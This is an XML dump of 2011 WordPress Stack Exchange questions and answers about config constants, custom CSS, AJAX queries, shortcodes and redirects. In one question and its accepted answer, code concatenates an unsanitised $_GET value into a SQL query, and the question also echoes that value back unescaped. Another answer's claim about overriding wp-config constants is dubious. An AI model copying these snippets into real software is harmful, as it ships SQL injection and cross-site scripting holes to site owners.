  <row Id="25798" PostTypeId="1" CreationDate="2011-08-13T05:47:48.460" Score="0" ViewCount="20" Body="&lt;p&gt;I need to add the line &lt;code&gt;define('WP_POST_REVISIONS', false);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to my config.php , so that post revisions are disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have access to wp-config.php, I have permission to edit my theme and plugins.&#xA;Is their any way i could add this code to my theme's function.php, or is their any hook to achieve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is their anyway to override the function which has been defined in wp-config.php&#xA;for eg: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'BP_DEFAULT_COMPONENT', 'profile' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can i override the above line of code without accessing wp-config.php.&lt;/p&gt;&#xA;" OwnerUserId="7376" LastActivityDate="2011-08-13T06:47:20.067" Title="Editing wp-config.php" Tags="&lt;plugins&gt;&lt;add-action&gt;&lt;add-filter&gt;&lt;wp-config&gt;&lt;overridable-functions&gt;" AnswerCount="1" />
  <row Id="25799" PostTypeId="2" ParentId="24485" CreationDate="2011-08-13T05:51:21.370" Score="0" ViewCount="" Body="&lt;p&gt;As suggested by Bainternet, prefix all the field names.&lt;/p&gt;&#xA;" OwnerUserId="7466" LastActivityDate="2011-08-13T05:51:21.370" />
  <row Id="25801" PostTypeId="1" AcceptedAnswerId="25817" CreationDate="2011-08-13T06:36:11.053" Score="0" ViewCount="39" Body="&lt;p&gt;i'm creating and theme and would like the user to be able to select their font family. Typically, i see that people use css.php files and pass user defined variables inside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit concerned of that approach though, i would not like my css file actually be a php file, it also makes things a bit more difficult to maintain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, i would like to ask if maybe wordpress creators have thought of that and have added another way of specifying such custom values. Does anybody know if that can happen somehow without messing php with style.css itself ?&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-08-13T14:53:45.653" Title="Custom CSS without css.php file" Tags="&lt;theme-development&gt;&lt;css&gt;" AnswerCount="1" />
  <row Id="25802" PostTypeId="1" AcceptedAnswerId="25813" CreationDate="2011-08-13T06:42:08.093" Score="0" ViewCount="49" Body="&lt;p&gt;I have made a function of ajax, which returns all the posts starting with a particular alphabet, suppose a user clicks on letter A, then all the posts starting with letter A will be displayed, any how I am successful in making this function run, but only if I use normal mysql, but I want to use wp-mysql,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code shall speak for me ;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $_GET['letter'];&#xA;$getLetter = $_GET['letter'];&#xA;global $wpdb;&#xA;global $post;&#xA;&#xA;$result = $wpdb-&amp;gt;get_results('SELECT * FROM wp_posts where post_title LIKE &quot;'.$getLetter.'%&quot; AND post_status = &quot;publish&quot; AND post_type=&quot;post&quot;');&#xA;while($row = $result)&#xA;{&#xA;  echo '&amp;lt;a href=&quot;' . $row[&quot;guid&quot;] . '&quot;&amp;gt;' . $row['post_title'] . '&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using this code which is getting a letter through URL and searching it for in database, but if I use the above code, it takes too long to search for a post(it takes more then a minute), but if I use the below code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $_GET['letter'];&#xA;$getLetter = $_GET['letter'];&#xA;$con = mysql_connect('localhost', 'root', '');&#xA;mysql_select_db(&quot;wordpress&quot;, $con);&#xA;$result = mysql_query('SELECT * FROM wp_posts where post_title LIKE &quot;'.$getLetter.'%&quot; AND post_status = &quot;publish&quot; AND post_type=&quot;post&quot;');&#xA;while($row = mysql_fetch_array($result))&#xA;{&#xA;  echo '&amp;lt;a href=&quot;' . $row[&quot;guid&quot;] . '&quot;&amp;gt;' . $row['post_title'] . '&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then everything works quickly,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain me this? I don't know wp-db that much, but I want this to be worked in wpdb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITED&#xA;AJAX CODE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;jQuery(function($) {&#xA;    $(document).ready(function() {&#xA;    $(&quot;#Loading&quot;).hide();&#xA;        $(&quot;.letter&quot;).bind('click', function(){&#xA;        $(&quot;#Loading&quot;).fadeIn(); //show when submitting&#xA;        var val = $(&quot;.letter&quot;).val;&#xA;        $.ajax({&#xA;             url:'&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/newContent.php?letter='+$(this).html(), &#xA;&#xA;             success:function(data){&#xA;                $(&quot;#Loading&quot;).fadeOut('fast'); //hide when data's ready&#xA;                $(&quot;#content1&quot;).html(data);&#xA;             }&#xA;        });&#xA;        });&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-08-13T13:35:05.440" LastActivityDate="2011-08-13T14:11:13.930" Title="AJAX wp-mysql running too slow" Tags="&lt;database&gt;&lt;ajax&gt;&lt;wpdb&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="25803" PostTypeId="2" ParentId="25798" CreationDate="2011-08-13T06:47:20.067" Score="0" ViewCount="" Body="&lt;p&gt;Yes, the plugin can override it, use action, init with a function to disable it. for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(init,'my_disable_revision');&#xA;&#xA;function my_disable_revision ()&#xA;{&#xA; define( 'BP_DEFAULT_COMPONENT', 'profile' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7856" LastActivityDate="2011-08-13T06:47:20.067" />
  <row Id="25804" PostTypeId="1" CreationDate="2011-08-13T08:08:23.850" Score="1" ViewCount="16" Body="&lt;p&gt;Is there a plugin which can create an Archive page for a limited date range?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-08-13T21:59:32.897" Title="How to create an archive page (with links) for a date range?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;archive&gt;" AnswerCount="1" />
  <row Id="25805" PostTypeId="1" CreationDate="2011-08-13T09:09:18.113" Score="0" ViewCount="22" Body="&lt;p&gt;I'm using a little handy trick to show the post-date only when the post is from another day by putting it outsite the post-area (but within the loop of course). The problem is, I styled it with a background and it looks well on the post with the date but not on the post without the date. How can I tell wordpress to show nothing when the &quot;date is not givin&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot: &lt;a href=&quot;http://d.pr/hY1G&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/hY1G&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!!&lt;/p&gt;&#xA;" OwnerUserId="7753" LastActivityDate="2011-08-14T07:52:42.187" Title="Group posts by date on index.php bug" Tags="&lt;css&gt;&lt;loop&gt;&lt;date&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25807" PostTypeId="2" ParentId="24296" CreationDate="2011-08-13T11:35:50.837" Score="0" ViewCount="" Body="&lt;p&gt;To complete the post you linked to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a .php file in root of your WordPress directory and write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require( 'wp-load.php' );&#xA;&#xA; $urunler = array(&#xA;'order'          =&amp;gt; 'ASC',&#xA;'post_type'      =&amp;gt; 'urun',&#xA;'post_status'    =&amp;gt; null,&#xA;'numberposts'    =&amp;gt; -1,&#xA;);&#xA;&#xA;$tumurunler = get_posts($urunler);&#xA;if ($tumurunler) {&#xA;  foreach ($tumurunler as $urun) {&#xA;    $urun-&amp;gt;post_name = sanitize_title($urun-&amp;gt;post_content);&#xA; // $urun-&amp;gt;post_name = sanitize_title(substr($urun-&amp;gt;post_content, 0, 50)); // to use this if you have long post contents&#xA;    wp_update_post( $urun );   // Update the post into the database&#xA; }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7865" LastActivityDate="2011-08-13T11:35:50.837" />
  <row Id="25808" PostTypeId="1" AcceptedAnswerId="25832" CreationDate="2011-08-13T11:36:58.767" Score="1" ViewCount="28" Body="&lt;p&gt;If I create a post that has an embedded YouTube video in it (so all I do is paste the YouTube URL into the post and let Wordpress automatically embed it for me), is there a way to have the thumbnail image of the video set as the post's featured image?&lt;/p&gt;&#xA;" OwnerUserId="7864" LastActivityDate="2011-08-13T22:01:39.310" Title="Setting a post's featured image from an embedded YouTube video" Tags="&lt;post-thumbnails&gt;&lt;videos&gt;&lt;embed&gt;&lt;youtube&gt;" AnswerCount="1" />
  <row Id="25809" PostTypeId="1" CreationDate="2011-08-13T13:27:58.693" Score="0" ViewCount="29" Body="&lt;p&gt;My client wants to have several pages in which he can edit small, separate parts of a Wordpress page.  For example, there is a callout box in the upper left corner.  There is also a small piece of text showing contact information in the lower right corner.  I'd like to be able to have all of these pieces of text editable in the same place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to have a post structured using shortcodes; something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[top-callout]&#xA;This is the top callout text.&#xA;[/top-callout]&#xA;&#xA;[bottom-contact-info]&#xA;341 Address Rd.&#xA;City Comma State 23422&#xA;[/bottom-contact-info]&#xA;&#xA;[other-text]&#xA;...&#xA;[/other-text]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on.  Is there a way to extract the content of the shortcodes into loop variables?  That way in a theme php file I could do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    ...&#xA;    &amp;lt;?php echo $post-&amp;gt;top_callout; ?&amp;gt;&#xA;    ...&#xA;    &amp;lt;?php echo $post-&amp;gt;bottom_contact_info; ?&amp;gt;&#xA;    ...&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, is there a better way to do this?&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2011-08-13T13:36:46.527" Title="Extract all shortcode data from post into loop variables?" Tags="&lt;theme-development&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="25810" PostTypeId="2" ParentId="25809" CreationDate="2011-08-13T13:36:46.527" Score="2" ViewCount="" Body="&lt;p&gt;A much better way to do that would be to use &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;custom fields&lt;/a&gt; so you could pull the data in the loop by using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_custom&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_meta&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to make it even easier on your client you can create your own meta box either by code or using a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;verve meta box&lt;/a&gt; with separate textareas ,input fields, or even WYSIWYG editors. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-13T13:36:46.527" CommentCount="1" />
  <row Id="25811" PostTypeId="2" ParentId="12455" CreationDate="2011-08-13T13:56:36.737" Score="0" ViewCount="" Body="&lt;p&gt;i think the shortcode ultimate plugin already handles accordian shortcodes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/shortcodes-ultimate/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/shortcodes-ultimate/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not maybe this one does:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/j-shortcodes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/j-shortcodes/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-13T13:56:36.737" />
  <row Id="25812" PostTypeId="2" ParentId="25573" CreationDate="2011-08-13T14:06:56.400" Score="0" ViewCount="" Body="&lt;p&gt;try to add something with the date when the post was created. If date(post1)&gt;date(post2) delete post2.&lt;/p&gt;&#xA;" OwnerUserId="7865" LastActivityDate="2011-08-13T14:06:56.400" />
  <row Id="25813" PostTypeId="2" ParentId="25802" CreationDate="2011-08-13T14:11:13.930" Score="1" ViewCount="" Body="&lt;p&gt;When you call the database directly rather then using the &lt;code&gt;$wpdb&lt;/code&gt; object its faster for a simple reason which is you only call the database, and the when you use &lt;code&gt;$wpdb&lt;/code&gt; it loads extra functions and basically most of WordPress before you can use the &lt;code&gt;$wpdb&lt;/code&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should try is to use the WordPress Ajax api (not really an api but the right way to use ajax with WordPress). Basically you need to wrap your code in a function and make sure you die at the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_ajax_callback(){&#xA;    $getLetter = $_GET['letter'];&#xA;    global $wpdb;&#xA;    global $post;&#xA;&#xA;    $result = $wpdb-&amp;gt;get_results('SELECT * FROM wp_posts where post_title LIKE &quot;'.$getLetter.'%&quot; AND post_status = &quot;publish&quot; AND post_type=&quot;post&quot;');&#xA;    while($row = $result)&#xA;    {&#xA;      echo '&amp;lt;a href=&quot;' . $row[&quot;guid&quot;] . '&quot;&amp;gt;' . $row['post_title'] . '&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;';&#xA;    }&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you need add an action hook: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//if you want only logged in users to access this function use this hook&#xA;add_action('wp_ajax_ACTION_NAME', 'my_AJAX_processing_function');&#xA;&#xA;//if you want none logged in users to access this function use this hook&#xA;add_action('wp_ajax_nopriv_ACTION_NAME', 'my_AJAX_processing_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*if you want logged in users and guests to access your function by ajax the add both hooks. *ACTION_NAME must match the action value in your ajax POST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then just direct the ajax call to admin-ajax.php and add the ACTION_NAME:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(function($) {&#xA;    $(document).ready(function() {&#xA;    $(&quot;#Loading&quot;).hide();&#xA;        $(&quot;.letter&quot;).bind('click', function(){&#xA;            $(&quot;#Loading&quot;).fadeIn(); //show when submitting&#xA;            var val = $(&quot;.letter&quot;).val;&#xA;            var data = {action: 'ACTION_NAME', letter: val};&#xA;            $.ajax({&#xA;                 url:'url to wp-admin/admin-ajax.php',&#xA;                 success:function(data){&#xA;                    $(&quot;#Loading&quot;).fadeOut('fast'); //hide when data's ready&#xA;                    $(&quot;#content1&quot;).html(data);&#xA;                 }&#xA;            });&#xA;        });&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way it won't load all of WordPress just for that ajax call.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-13T14:11:13.930" CommentCount="7" />
  <row Id="25814" PostTypeId="2" ParentId="25793" CreationDate="2011-08-13T14:21:21.197" Score="0" ViewCount="" Body="&lt;p&gt;there is a filter called &lt;code&gt;meta-box-order_{$page}&lt;/code&gt; where page is the name of the post type, and just make sure that &lt;code&gt;submitdiv&lt;/code&gt; is last in the array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('meta-box-order_post','one_column_for_all');&#xA;&#xA;function one_column_for_all($result, $option, $user){&#xA;    $result['normal'] = 'postexcerpt,formatdiv,trackbacksdiv,tagsdiv-post_tag,categorydiv,postimagediv,postcustom,commentstatusdiv,slugdiv,authordiv,submitdiv';&#xA;    $result['side'] = '';&#xA;    $result['advanced'] = '';&#xA;    return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2962" LastEditorDisplayName="" LastEditDate="2011-08-13T15:14:54.260" LastActivityDate="2011-08-13T15:14:54.260" />
  <row Id="25815" PostTypeId="1" AcceptedAnswerId="25944" CreationDate="2011-08-13T14:10:18.233" Score="0" ViewCount="49" Body="&lt;p&gt;I have a site and my customer has decided the url for what used to be news should now be renamed to tips-and-tricks, but we want to keep the old urls too because we don't want to lose old links. I've tried several .htaccess settings but that's really not my field of expertise, and I'm not even sure if this is the right way to achieve this with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/news&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should become&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site/tips-and-tricks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but /news should point to /tips-and-tricks as well. Can I do this and what is the best way to do it with WordPress?&lt;/p&gt;&#xA;" OwnerUserId="5828" LastActivityDate="2011-08-15T11:43:56.547" Title="How to change wordpress news root url" Tags="&lt;htaccess&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="25816" PostTypeId="2" ParentId="25815" CreationDate="2011-08-13T14:49:53.727" Score="0" ViewCount="" Body="&lt;p&gt;I haven't checked it, but you could try plugin from this article: &lt;a href=&quot;http://urbangiraffe.com/plugins/advanced-permalinks/&quot; rel=&quot;nofollow&quot;&gt;http://urbangiraffe.com/plugins/advanced-permalinks/&lt;/a&gt;.&#xA;Good luck&lt;/p&gt;&#xA;" OwnerUserId="7113" LastActivityDate="2011-08-13T14:49:53.727" CommentCount="1" />
  <row Id="25817" PostTypeId="2" ParentId="25801" CreationDate="2011-08-13T14:53:45.653" Score="3" ViewCount="" Body="&lt;p&gt;There's two ways that this can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Write CSS File&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first option would be to write your CSS file after the user chooses the custom font. I'm guessing that your theme will have an options panel of some sort. When the user submits the data, the new CSS file would be created using that data and any other data that your options panel creates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is a function that I've used for something similar. It checks to see if the proposed contents of the new file are different from the existing file and saves the new data if necessary. You would need to modify this, especially as this does no data processing. This may or may not work for your situation, but it's worth taking a peak&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Determines if a Custom CSS file needs to be updated and if it can be updated&#xA; *&#xA; * @params string $css_file_on_server Path to CSS file of interest on server&#xA; * @params string $new_contents Contents from the $_POST variable&#xA; * @params string $name Name of the file being changed&#xA; * @since r30&#xA; * @return boolean Returns true if content was updated, false if it was not; it also records errors in the errors array&#xA; */&#xA;function prefix_process_custom_css($css_file_on_server, $new_contents, $name){&#xA;    global $errors;&#xA;&#xA;    // Get the contents of the CSS file on the server and convert it to a dechex representation&#xA;    $css_file_on_server_contents = strtoupper(dechex(crc32(trim(stripslashes(file_get_contents($css_file_on_server))))));&#xA;&#xA;    // Put new contents in same dechex format&#xA;    $new_contents_representation = strtoupper(dechex(crc32(trim(stripslashes($new_contents)))));&#xA;&#xA;    // Compare contents&#xA;    if ($css_file_on_server_contents != $new_contents_representation) {&#xA;        // Stripslashes&#xA;        $new_contents = stripslashes(($new_contents));&#xA;        // Make sure file is writable&#xA;        if (is_writeable($css_file_on_server)) {&#xA;            // Write file&#xA;            if(file_put_contents($css_file_on_server, $new_contents)){&#xA;                return true;&#xA;            }&#xA;            else{&#xA;                $errors[] = __('An error occurred while trying to write the &quot;'.$name.'&quot; CSS file.');&#xA;                return false;           &#xA;            }&#xA;        }&#xA;        else&#xA;        {&#xA;            $errors[] = __('The &quot;'.$name.'&quot; CSS file on the server is not writable. Check the permissions on the file and try again.');&#xA;            return false;&#xA;        }   &#xA;    } &#xA;    else {&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Internal Style Sheet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My other recommendation would be to use an internal style sheet for the dynamic data. You would load your static CSS content in an external style sheet, then dynamically, between style tags in the head of your header file, write the parts of the CSS that are dynamic. For instance, you could do something like in your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_print_styles', 'prefix_print_styles')&#xA;&#xA;function prefix_print_styles()&#xA;{&#xA;?&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        p{&#xA;            font-family: &amp;lt;?php echo get_option('prefix-font-family'); ?&amp;gt;&#xA;        }&#xA;    &amp;lt;/style&amp;gt;&#xA;&amp;lt;?php    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This could also be included directly in your header file, but using this method may make it play nicer with other plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, your normal stylesheet would be included in the header.php file with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo( 'stylesheet_url' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the &lt;code&gt;wp_print_styles&lt;/code&gt; action will only work if you have included the &lt;code&gt;wp_head()&lt;/code&gt; function somewhere in your header.php file (should be after you add your stylesheet).&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-13T14:53:45.653" />
  <row Id="25818" PostTypeId="1" CreationDate="2011-08-13T15:11:56.663" Score="0" ViewCount="37" Body="&lt;p&gt;You know how sweet it is WP with its plugins and custom post types. I love WP so much until i have come to a thought that most of any kind of website can be done in WP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently my boss want me to build a hotel/accomodation searching website. Its like hotels.com kind of website except there is no booking feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, can i do this in WP if i use its custom post types ability or worst is create a dedicated plugin for it? what do you think of this as WP expert?&lt;/p&gt;&#xA;" OwnerUserId="7868" LastActivityDate="2011-08-13T19:09:11.377" Title="How great custom post type can be?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="25819" PostTypeId="1" AcceptedAnswerId="25822" CreationDate="2011-08-13T16:34:19.840" Score="0" ViewCount="21" Body="&lt;p&gt;Hi there Wordpress guru's,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i running up against a problem. I've my parent pages in the header.php and childpages in page.php. when i clicked on one of the subpages in a parent page i want that my parent page stay active. How can i get that done? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my header.php i've the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;mainNav&quot;&amp;gt;&#xA; &amp;lt;?php wp_list_pages('sort_column=menu_order&amp;amp;exclude=2&amp;amp;depth=1&amp;amp;title_li='); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;page.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($post-&amp;gt;post_parent)&#xA;            $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;echo=0&quot;); else&#xA;            $children = wp_list_pages(&quot;title_li=&amp;amp;child_of=&quot;.$post-&amp;gt;ID.&quot;&amp;amp;echo=0&quot;);&#xA;            if ($children) { ?&amp;gt;&#xA;            &amp;lt;div id=&quot;subPages&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li class=&quot;root&quot;&amp;gt;&amp;lt;?php echo '&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;post_parent).'&quot;&amp;gt;'.get_the_title($post-&amp;gt;post_parent).'&amp;lt;/a&amp;gt;';?&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php echo $children; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php } else { ?&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;U can see the example : &lt;a href=&quot;http://weetinc.com/oncokompas/hoe-werkt-het/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; when you click on one of the subpages i want that the parent page (the tab above) stays active. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;tnx for advance. &lt;/p&gt;&#xA;" OwnerUserId="7569" LastActivityDate="2011-08-13T18:10:07.543" Title="active parent page when clicked on childpage" Tags="&lt;wp-list-pages&gt;" AnswerCount="1" />
  <row Id="25820" PostTypeId="1" CreationDate="2011-08-13T17:04:25.500" Score="-1" ViewCount="33" Body="&lt;p&gt;I'm trying to troubleshoot my wp theme. I set the debug to true and came across the following warnings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Undefined index id in theme-options.php&#xA;Warning: Undefined index std in theme-options.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the piece of code in my theme-options.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array (&#xA;// Begin Primary Metabox Holder&#xA;    array(  &quot;type&quot; =&amp;gt; &quot;box-container-open&quot;),&#xA;&#xA;    // General Settings&#xA;    array(  &quot;name&quot; =&amp;gt; __( 'General Settings', 'themejunkie' ),&#xA;            &quot;type&quot; =&amp;gt; &quot;box-open&quot;),&#xA;    array(  &quot;name&quot; =&amp;gt; __( 'Logo Type', 'themejunkie' ),&#xA;            &quot;id&quot; =&amp;gt; &quot;logo&quot;,&#xA;            &quot;type&quot; =&amp;gt; &quot;select&quot;,&#xA;            &quot;std&quot; =&amp;gt; &quot;Image Logo&quot;,&#xA;            &quot;options&quot; =&amp;gt; array(&quot;Image Logo&quot;, &quot;Text Logo&quot;)),&#xA;    array(  &quot;name&quot; =&amp;gt; __( 'Image Logo URL', 'themejunkie' ),&#xA;            &quot;id&quot; =&amp;gt; &quot;logo_url&quot;,&#xA;            &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;            &quot;std&quot; =&amp;gt; get_bloginfo('template_url').'/images/logo.png'),&#xA;    array(  &quot;name&quot; =&amp;gt; __( 'Thumbnail Key', 'themejunkie' ),&#xA;            &quot;id&quot; =&amp;gt; &quot;thumb_key&quot;,&#xA;            &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;            &quot;std&quot; =&amp;gt; &quot;thumb&quot;),&#xA;    array(  &quot;name&quot; =&amp;gt; __( 'Thumbnail Width', 'themejunkie' ),&#xA;            &quot;id&quot; =&amp;gt; &quot;thumb_width&quot;,&#xA;            &quot;class&quot; =&amp;gt; &quot;small-text&quot;,&#xA;            &quot;desc&quot; =&amp;gt; &quot;px&quot;,&#xA;            &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;            &quot;std&quot; =&amp;gt; 80),&#xA;    array(  &quot;name&quot; =&amp;gt; __( 'Thumbnail Height', 'themejunkie' ),&#xA;            &quot;id&quot; =&amp;gt; &quot;thumb_height&quot;,&#xA;            &quot;class&quot; =&amp;gt; &quot;small-text&quot;,&#xA;            &quot;desc&quot; =&amp;gt; &quot;px&quot;,&#xA;            &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;            &quot;std&quot; =&amp;gt; 80),&#xA;    array(  &quot;type&quot; =&amp;gt; &quot;box-close&quot;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to eliminate this warning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: I know setting the debug to false will get rid of the warnings, but i'm trying to make my WP theme a bit more stable.&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-08-13T17:04:25.500" Title="What does this mean undefined 'id' 'std' in theme-options.php" Tags="&lt;functions&gt;" CommentCount="3" />
